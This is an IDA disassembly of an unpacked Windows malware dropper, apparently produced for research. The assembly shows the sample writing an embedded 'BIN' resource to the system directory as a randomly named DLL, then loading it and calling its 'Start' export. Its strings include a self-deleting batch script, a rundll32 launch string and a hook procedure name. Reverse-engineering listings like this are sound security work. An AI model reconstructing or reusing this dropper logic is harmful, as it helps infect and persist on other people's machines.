; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 0EADD82FE8E09862DC0161B1F99A92EF ; File Name : u:\work\0eadd82fe8e09862dc0161b1f99a92ef_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0000D000 ( 53248.) ; Section size in file : 0000D000 ( 53248.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___H segment para public 'CODE' use32 assume cs:___H ;org 401000h assume es:nothing, ss:nothing, ds:___H, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near push offset dword_403000 mov dword_403000, 94h call dword_402000 ; GetVersionExA xor eax, eax cmp dword_403010, 2 setz al retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401022 proc near ; CODE XREF: sub_40118B+87p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi xor esi, esi push esi push 80h push 2 push esi push 1 push 40000000h push [ebp+arg_0] xor ebx, ebx call dword_40200C ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_401074 push esi lea eax, [ebp+var_4] push eax mov [ebp+var_4], esi mov esi, [ebp+arg_8] push esi push [ebp+arg_4] push edi call dword_402008 ; WriteFile test eax, eax jz short loc_40106D cmp [ebp+var_4], esi jnz short loc_40106D inc ebx loc_40106D: ; CODE XREF: sub_401022+43j ; sub_401022+48j push edi call dword_402004 ; CloseHandle loc_401074: ; CODE XREF: sub_401022+29j pop edi pop esi mov eax, ebx pop ebx leave retn sub_401022 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40107B proc near ; CODE XREF: sub_40118B+94p var_12C = byte ptr -12Ch var_28 = byte ptr -28h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 12Ch push ebx push esi push edi mov esi, offset aAzxcdsweq ; "azxcdsweq" lea edi, [ebp+var_18] movsd movsd lea eax, [ebp+var_18] push eax mov [ebp+var_8], 10h movsw call dword_40201C ; lstrlen mov [ebp+var_C], eax push 104h lea eax, [ebp+var_12C] push eax xor esi, esi push esi call dword_402018 ; GetModuleFileNameA mov edi, dword_40200C push esi push esi push 3 pop ebx push ebx push esi push ebx push 80000000h lea eax, [ebp+var_12C] push eax call edi ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40117D push esi push esi push ebx push esi push ebx push 40000000h push [ebp+arg_0] call edi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_401105 push [ebp+var_4] call dword_402004 ; CloseHandle jmp short loc_40117D ; --------------------------------------------------------------------------- loc_401105: ; CODE XREF: sub_40107B+7Dj mov edi, dword_402014 push 2 push esi push 0FFFFFFF3h push [ebp+var_4] call edi ; SetFilePointer push esi lea eax, [ebp+var_8] push eax push [ebp+var_8] lea eax, [ebp+var_28] push eax push [ebp+var_4] call dword_402010 ; ReadFile test eax, eax jnz short loc_401139 push [ebp+var_4] mov esi, dword_402004 jmp short loc_401178 ; --------------------------------------------------------------------------- loc_401139: ; CODE XREF: sub_40107B+B1j push 2 push esi push esi push ebx call edi ; SetFilePointer mov edi, dword_402008 push esi lea eax, [ebp+var_C] push eax push [ebp+var_C] lea eax, [ebp+var_18] push eax push ebx mov [ebp+var_8], 0Dh call edi ; WriteFile push esi lea eax, [ebp+var_8] push eax push [ebp+var_8] lea eax, [ebp+var_28] push eax push ebx call edi ; WriteFile test eax, eax mov esi, dword_402004 push [ebp+var_4] jnz short loc_401181 loc_401178: ; CODE XREF: sub_40107B+BCj call esi ; CloseHandle push ebx call esi ; CloseHandle loc_40117D: ; CODE XREF: sub_40107B+63j ; sub_40107B+88j xor eax, eax jmp short loc_401186 ; --------------------------------------------------------------------------- loc_401181: ; CODE XREF: sub_40107B+FBj call esi ; CloseHandle push ebx call esi ; CloseHandle loc_401186: ; CODE XREF: sub_40107B+104j pop edi pop esi pop ebx leave retn sub_40107B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40118B proc near ; CODE XREF: ___H:004012F8p var_1 = byte ptr -1 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_8] push esi push edi push offset asc_4020E8 ; "\\" push 104h push ebx mov [ebp+var_1], 0 call dword_402040 ; GetSystemDirectoryA add eax, ebx push eax call dword_40203C ; lstrcpy push [ebp+arg_4] push ebx call dword_402038 ; lstrcat push 80h push ebx call dword_402034 ; SetFileAttributesA push 0 call dword_402030 ; GetModuleHandleA push offset aBin ; "BIN" mov esi, eax push 68h push esi call dword_40202C ; FindResourceA mov edi, eax test edi, edi jz short loc_401229 push edi push esi call dword_402028 ; LoadResource test eax, eax jz short loc_401229 push eax call dword_402024 ; LockResource test eax, eax mov [ebp+arg_8], eax jz short loc_401229 push edi push esi call dword_402020 ; SizeofResource test eax, eax jz short loc_401229 push eax push [ebp+arg_8] push ebx call sub_401022 add esp, 0Ch test eax, eax jz short loc_401229 push ebx call sub_40107B pop ecx mov [ebp+var_1], 1 loc_401229: ; CODE XREF: sub_40118B+5Aj ; sub_40118B+66j ... mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401231 proc near ; CODE XREF: ___H:004012E3p var_10 = dword ptr -10h var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_8] push eax call dword_40206C ; GetCursorPos lea eax, [ebp+var_10] push eax call dword_402048 ; GetSystemTimeAsFileTime call dword_402044 ; GetTickCount movzx edx, [ebp+var_8] mov ecx, eax movzx eax, [ebp+var_4] shl eax, 10h or eax, edx imul ecx, eax imul ecx, [ebp+var_10] imul ecx, [ebp+var_10] xor edx, edx push 19h mov eax, ecx pop edi div edi mov esi, [ebp+arg_0] add dl, 61h and [ebp+arg_0], 0 mov [esi], dl loc_401283: ; CODE XREF: sub_401231+85j xor edx, edx push 5 pop ebx mov eax, ecx div ebx push 19h lea edi, [esi+1] movsx eax, dl movsx edx, byte ptr [esi] add eax, edx cdq pop esi idiv esi mov eax, ecx push 0Ah pop ecx mov esi, edi add dl, 61h mov [edi], dl xor edx, edx div ecx inc [ebp+arg_0] cmp [ebp+arg_0], 7 mov ecx, eax jl short loc_401283 push [ebp+arg_4] mov byte ptr [esi], 2Eh inc esi push esi call dword_40203C ; lstrcpy pop edi pop esi pop ebx leave retn sub_401231 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; db 81h ; db 0ECh ; db 8 db 2 db 0 db 0 db 56h ; V db 33h ; 3 db 0F6h ; ; --------------------------------------------------------------------------- loc_4012D7: ; CODE XREF: ___H:0040130Bj lea eax, [ebp-104h] push offset aDll ; "dll" push eax call sub_401231 lea eax, [ebp-208h] push eax lea eax, [ebp-104h] push eax push 1 call sub_40118B add esp, 14h test al, al jz short loc_401307 push 63h pop esi loc_401307: ; CODE XREF: ___H:00401302j inc esi cmp esi, 1Eh jl short loc_4012D7 cmp esi, 64h jnz short loc_40133E lea eax, [ebp-208h] push eax call dword_402054 ; LoadLibraryA mov esi, eax test esi, esi jz short loc_40133E push offset aStart ; "Start" push esi call dword_402050 ; GetProcAddress test eax, eax jz short loc_401337 call eax loc_401337: ; CODE XREF: ___H:00401333j push esi call dword_40204C ; FreeLibrary loc_40133E: ; CODE XREF: ___H:00401310j ; ___H:00401323j xor al, al pop esi leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; db 0ECh ; db 81h ; db 0ECh ; db 70h ; p db 4 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 0BEh ; db 4 db 1 db 0 db 0 db 56h ; V db 8Dh ; db 85h ; db 94h ; db 0FCh ; db 0FFh db 0FFh db 50h ; P db 33h ; 3 db 0DBh ; db 53h ; S db 0FFh db 15h db 18h db 20h db 40h ; @ db 0 db 0BFh ; db 80h ; db 0 db 0 db 0 db 57h ; W db 8Dh ; db 85h ; db 94h ; db 0FCh ; db 0FFh db 0FFh db 50h ; P db 0FFh db 15h db 34h ; 4 db 20h db 40h ; @ db 0 db 8Dh ; db 85h ; db 94h ; db 0FCh ; db 0FFh db 0FFh db 50h ; P db 0FFh db 15h db 60h ; ` db 20h db 40h ; @ db 0 db 3Bh ; ; db 0C7h ; db 74h ; t db 7 db 32h ; 2 db 0C0h ; db 0E9h ; db 1Ch db 1 db 0 db 0 db 8Dh ; db 85h ; db 90h ; db 0FBh ; db 0FFh db 0FFh db 50h ; P db 56h ; V db 88h ; db 5Dh ; ] db 0FFh db 0FFh db 15h db 5Ch ; \ db 20h db 40h ; @ db 0 db 8Bh ; db 3Dh ; = db 3Ch ; < db 20h db 40h ; @ db 0 db 8Dh ; db 85h ; db 90h ; db 0FBh ; db 0FFh db 0FFh db 50h ; P db 8Dh ; db 85h ; db 98h ; db 0FDh ; db 0FFh db 0FFh db 50h ; P db 0FFh db 0D7h ; db 8Bh ; db 35h ; 5 db 38h ; 8 db 20h db 40h ; @ db 0 db 68h ; h db 80h ; db 20h db 40h ; @ db 0 db 8Dh ; db 85h ; db 98h ; db 0FDh ; db 0FFh db 0FFh db 50h ; P db 0FFh db 0D6h ; db 53h ; S db 0E8h ; db 2Fh ; / db 0FCh ; db 0FFh db 0FFh db 0F6h ; db 0D8h ; db 1Bh db 0C0h ; db 83h ; db 0E0h ; db 6 db 50h ; P db 6Ah ; j db 2 db 53h ; S db 53h ; S db 68h ; h db 0 db 0 db 0 db 40h ; @ db 8Dh ; db 85h ; db 98h ; db 0FDh ; db 0FFh db 0FFh db 50h ; P db 0FFh db 15h db 0Ch db 20h db 40h ; @ db 0 db 3Bh ; ; db 0C3h ; db 89h ; db 45h ; E db 0F8h ; db 0Fh db 84h ; db 0AFh ; db 0 db 0 db 0 db 53h ; S db 8Dh ; db 4Dh ; M db 0E4h ; db 51h ; Q db 6Ah ; j db 2Bh ; + db 68h ; h db 90h ; db 20h db 40h ; @ db 0 db 50h ; P db 0FFh db 15h db 8 db 20h db 40h ; @ db 0 db 0FFh db 75h ; u db 0F8h ; db 0FFh db 15h db 4 db 20h db 40h ; @ db 0 db 8Dh ; db 85h ; db 98h ; db 0FDh ; db 0FFh db 0FFh db 50h ; P db 8Dh ; db 85h ; db 9Ch ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 0FFh db 0D7h ; db 68h ; h db 0FCh ; db 20h db 40h ; @ db 0 db 8Dh ; db 85h ; db 9Ch ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 0FFh db 0D6h ; db 8Dh ; db 85h ; db 94h ; db 0FCh ; db 0FFh db 0FFh db 50h ; P db 8Dh ; db 85h ; db 9Ch ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 0FFh db 0D6h ; db 68h ; h db 0F8h ; db 20h db 40h ; @ db 0 db 8Dh ; db 85h ; db 9Ch ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 0FFh db 0D6h ; db 6Ah ; j db 10h db 59h ; Y db 33h ; 3 db 0C0h ; db 8Dh ; db 7Dh ; } db 0A4h ; db 0F3h ; db 0ABh ; db 89h ; db 5Dh ; ] db 0E8h ; db 8Dh ; db 7Dh ; } db 0ECh ; db 0ABh ; db 0ABh ; db 0ABh ; db 8Dh ; db 45h ; E db 0E8h ; db 50h ; P db 8Dh ; db 45h ; E db 0A0h ; db 50h ; P db 53h ; S db 53h ; S db 53h ; S db 53h ; S db 53h ; S db 53h ; S db 8Dh ; db 85h ; db 9Ch ; db 0FEh ; db 0FFh db 0FFh db 50h ; P db 53h ; S db 0C7h ; db 45h ; E db 0A0h ; db 44h ; D db 0 db 0 db 0 db 0C7h ; db 45h ; E db 0CCh ; db 1 db 0 db 0 db 0 db 66h ; f db 89h ; db 5Dh ; ] db 0D0h ; db 0FFh db 15h db 58h ; X db 20h db 40h ; @ db 0 db 0FFh db 75h ; u db 0ECh ; db 8Bh ; db 35h ; 5 db 4 db 20h db 40h ; @ db 0 db 85h ; db 0C0h ; db 0Fh db 95h ; db 45h ; E db 0FFh db 0FFh db 0D6h ; db 0FFh db 75h ; u db 0E8h ; db 0FFh db 0D6h ; db 8Ah ; db 45h ; E db 0FFh db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; db 0C3h ; db 8Bh, 0C0h db 50h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 50C08B90h, 90909058h, 50C08B90h dd 90909058h, 50C08B90h, 90909058h, 50C08B90h, 90909058h dd 50C08B90h, 90909058h, 0F555E890h, 0C8E8FFFFh, 6AFFFFF5h dd 6415FF00h, 0CC004020h, 9Fh dup(0) dword_402000 dd 77E7C657h ; DATA XREF: sub_401000+Fr dword_402004 dd 77E77963h ; DATA XREF: sub_401022+4Cr ; sub_40107B+82r ... dword_402008 dd 77E79D8Ch ; DATA XREF: sub_401022+3Br ; sub_40107B+C5r dword_40200C dd 77E7A837h ; DATA XREF: sub_401022+1Er ; sub_40107B+41r dword_402010 dd 77E78B82h ; DATA XREF: sub_40107B+A9r dword_402014 dd 77E78C81h ; DATA XREF: sub_40107B:loc_401105r dword_402018 dd 77E7A099h ; DATA XREF: sub_40107B+3Br dword_40201C dd 77E74672h ; DATA XREF: sub_40107B+23r dword_402020 dd 77E7105Fh ; DATA XREF: sub_40118B+78r dword_402024 dd 77E7C931h ; DATA XREF: sub_40118B+69r dword_402028 dd 77E760B5h ; DATA XREF: sub_40118B+5Er dword_40202C dd 77E6CA8Ah ; DATA XREF: sub_40118B+50r dword_402030 dd 77E79F93h ; DATA XREF: sub_40118B+40r dword_402034 dd 77E70396h ; DATA XREF: sub_40118B+38r dword_402038 dd 77E74155h ; DATA XREF: sub_40118B+2Cr dword_40203C dd 77E73167h ; DATA XREF: sub_40118B+22r ; sub_401231+8Fr dword_402040 dd 77E704FCh ; DATA XREF: sub_40118B+19r dword_402044 dd 77E7751Ah ; DATA XREF: sub_401231+1Dr dword_402048 dd 77E6167Bh ; DATA XREF: sub_401231+17r dword_40204C dd 77E80618h ; DATA XREF: ___H:00401338r dword_402050 dd 77E7A5FDh ; DATA XREF: ___H:0040132Br dword_402054 dd 77E805D8h ; DATA XREF: ___H:00401319r dd 77E61BB8h dd 77E6AD34h dd 77E74CABh dd 77E75CB5h dd 0 dword_40206C dd 77D46349h ; DATA XREF: sub_401231+Dr dd 0 aHookproc db 'HookProc',0 align 10h aRemovalfile_ba db 'removalfile.bat',0 a@echoOffDfDel1 db '@echo off',0Dh,0Ah db ':df',0Dh,0Ah db 'del %1',0Dh,0Ah db 'if exist %1 goto df',0 aRundll32_exeSA db 'rundll32.exe %s,Activate',0 align 4 aAzxcdsweq db 'azxcdsweq',0 ; DATA XREF: sub_40107B+Co align 4 aBin db 'BIN',0 ; DATA XREF: sub_40118B+46o asc_4020E8: ; DATA XREF: sub_40118B+Ao unicode 0, <\>,0 aStart db 'Start',0 ; DATA XREF: ___H:00401325o align 4 aDll db 'dll',0 ; DATA XREF: ___H:004012DDo unicode 0, <">,0 db ' "',0 align 10h dd 3C0h dup(0) dword_403000 dd 94h ; DATA XREF: sub_401000o sub_401000+5w dd 5, 1, 0A28h dword_403010 dd 2 ; DATA XREF: sub_401000+17r dd 411h dup(0) dd 420003h, 4E0049h, 180Ch dup(0) aPaddingxxpaddi db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP' db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA' db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD' db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD' db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDI' db 'NGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING',0 align 4 dd 0B7Fh dup(0) dd 58h, 1000h, 74654701h, 73726556h, 456E6F69h, 1004178h dd 736F6C43h, 6E614865h, 656C64h, 69725701h, 69466574h dd 100656Ch, 61657243h, 69466574h, 41656Ch, 61655201h dd 6C694664h, 53010065h, 69467465h, 6F50656Ch, 65746E69h dd 47010072h, 6F4D7465h, 656C7564h, 656C6946h, 656D614Eh dd 6C010041h, 6C727473h, 416E65h, 7A695301h, 52666F65h dd 756F7365h, 656372h, 636F4C01h, 7365526Bh, 6372756Fh dd 4C010065h, 5264616Fh, 756F7365h, 656372h, 6E694601h dd 73655264h, 6372756Fh, 1004165h, 4D746547h, 6C75646Fh dd 6E614865h, 41656C64h, 65530100h, 6C694674h, 74744165h dd 75626972h, 41736574h, 736C0100h, 61637274h, 1004174h dd 7274736Ch, 41797063h, 65470100h, 73795374h, 446D6574h dd 63657269h, 79726F74h, 47010041h, 69547465h, 6F436B63h dd 746E75h, 74654701h, 74737953h, 69546D65h, 7341656Dh dd 656C6946h, 656D6954h, 72460100h, 694C6565h, 72617262h dd 47010079h, 72507465h, 6441636Fh, 73657264h, 4C010073h dd 4C64616Fh, 61726269h, 417972h, 65724301h, 50657461h dd 65636F72h, 417373h, 74654701h, 706D6554h, 68746150h dd 47010041h, 69467465h, 7441656Ch, 62697274h, 73657475h dd 45010041h, 50746978h, 65636F72h, 7373h, 65h, 106Ch dd 74654701h, 73727543h, 6F50726Fh, 73h, 50000000h, 4C000045h dd 5E000401h, 4656E8h, 0 dd 0E0000000h, 0B010F00h, 0A0701h, 0Eh, 90h, 0B1000000h dd 14h, 10h, 20h, 4000h, 10h, 4000002h, 0 dd 4000000h, 2 dup(0) dd 0D0h, 4, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 3 dup(0) dd 3C000021h, 0 dd 90000040h, 60h, 12h dup(0) dd 74000020h, 6 dup(0) dd 2E000000h, 74786574h, 84000000h, 0Dh, 10h, 0Eh, 4, 2 dup(0) dd 20000000h, 2E600000h, 74616472h, 8C000061h, 3, 20h dd 4, 12h, 2 dup(0) dd 40000000h, 2E400000h, 61746164h, 94000000h, 0 dd 30h, 4 dup(0) dd 40000000h, 2EC00000h, 63727372h, 60000000h, 8Ah, 40h dd 8Ch, 16h, 2 dup(0) dd 40000000h, 400000h, 0B00000C0h, 21h, 0C1AB00h, 32Ch dup(0) ___H ends ; Section 2. (virtual address 0000E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0000E000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _a__ segment para public 'CODE' use32 assume cs:_a__ ;org 40E000h assume es:nothing, ss:nothing, ds:___H, fs:nothing, gs:nothing dword_40E000 dd 0FEFDBEDFh, 40300068h, 505C700h, 0FF000094h, 9200015h ; DATA XREF: start+23o dd 3D83C033h, 0BBFFFEEFh, 0F021110h db 94h, 0C0h, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ebx push esi push edi xor esi, esi push esi push 26A2180h push esi push 0FFFFFFFFh db 66h sti fld qword ptr [ecx] push 75FF4008h or [ebx], dh ; --------------------------------------------------------------------------- dd 8B0C30DBh, 0FFFF83F8h, 37562774h, 8DFFEDDBh, 8950FC45h dd 758BFC75h, 0C1D5610h, 85081C57h, 37EF74C0h, 3906DBDDh dd 43017514h, 5E5F0410h, 0C95BC38Bh, 0BB77DB58h, 2CEC81F6h dd 0BE5D4901h, 7D8D17D8h, 42A5A5E8h, 0B6CDF7E8h, 45C750FBh dd 666110F8h, 891C2FA5h, 468F445h, 6E6CF727h, 0D4858D7Bh dd 895066FEh, 7B3D1875h, 0DBB6FB07h, 5B038F56h, 80935342h dd 82D7FF22h, 83EDF735h, 0FC36FFF8h, 1599840Fh, 6DB31E21h dd 1AB2F6FBh, 0FB83D88Bh, 0FC020B08h, 33EFBA8Eh, 4878EBDBh dd 15F3D914h, 16F8C7D7h, 43DDBB1Bh, 0D806F875h, 0C6102650h dd 1B9AEB33h, 3F358B39h, 3D4C542Dh, 35F74CE2h, 0F4F430DDh dd 0DBD53BCh, 0C2DCD66Eh, 3B402A46h, 0C2EC4244h, 0FF0975F6h dd 67D611D6h, 110805EBh, 870FC2E6h, 5D8B680Fh, 0E8680D10h dd 63E1A6DBh, 45C653F2h, 34094FFh, 87154BC3h, 3CBC2CB7h dd 3853593Fh, 0BE1F9022h, 340B75EEh, 133026BDh, 6AF019E4h dd 0C2C8C2EEh, 2C9A5668h, 57429985h, 0EEB10B0Dh, 368B2884h dd 200A2446h, 27777710h, 192874DFh, 10AC1C20h, 1E53E853h dd 76D6C483h, 100CBAC7h, 59770C0Bh, 38A0184h, 0CF6CCA5h dd 10EC831Fh, 6C3ADCB2h, 0D9A66CDFh, 548F009h, 55B70F44h dd 0F6F78BF8h, 7FC8942Fh, 0B10E0C1h, 0BAF0FC2h, 3F04DAFh dd 